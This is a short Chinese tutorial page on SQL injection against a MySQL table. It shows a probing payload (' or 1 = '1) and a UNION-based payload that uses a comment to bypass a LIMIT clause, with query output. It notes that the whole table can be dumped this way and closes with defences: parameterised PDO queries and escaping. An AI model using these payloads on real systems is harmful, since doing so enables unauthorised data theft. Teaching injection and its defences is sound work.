Skip to content

SQL 注入攻击

SQL 未转义注入

正常请求

  • name = lucky
sql
mysql> select * from t_new where name = 'lucky' limit 1;
+-------+-------+----------+---------------------+--------+
| id    | name  | birth    | create_time         | status |
+-------+-------+----------+---------------------+--------+
| 90001 | lucky | 20170724 | 2021-03-31 18:19:29 | 9      |
+-------+-------+----------+---------------------+--------+

验证是否可以进行 SQL 注入

  • name = lucky' or 1 = '1
sql
mysql> select * from t_new where name = 'lucky' or 1 = '1' limit 1;
+-------+-------+----------+---------------------+--------+
| id    | name  | birth    | create_time         | status |
+-------+-------+----------+---------------------+--------+
| 90001 | lucky | 20170724 | 2021-03-31 18:19:29 | 9      |
+-------+-------+----------+---------------------+--------+

构造 SQL,获取更多的数据

  • name = lucky' union select * from t_new where id = '90002' limit 2; --
  • 如上攻击 SQL 稍做修改,就可以把整个表脱下来,俗称“脱裤
  • -- 会直接注释后面的 ' limit 1;,这样一来可以解决limit 1的限制,在命令行多产生两条 SQL,不影响数据的查询
sql
mysql> select * from t_new where name = 'lucky' union select * from t_new where id = '90002' limit 2; --' limit 1;
+-------+-------+----------+---------------------+--------+
| id    | name  | birth    | create_time         | status |
+-------+-------+----------+---------------------+--------+
| 90001 | lucky | 20170724 | 2021-03-31 18:19:29 | 9      |
| 90002 | lucky | 20170724 | 2021-03-31 18:19:29 | 9      |
+-------+-------+----------+---------------------+--------+
2 rows in set (0.00 sec)

    '>

解决方案

  • PDO
    • where('name = ?', 'lucky')
  • 过滤、拦截、转义等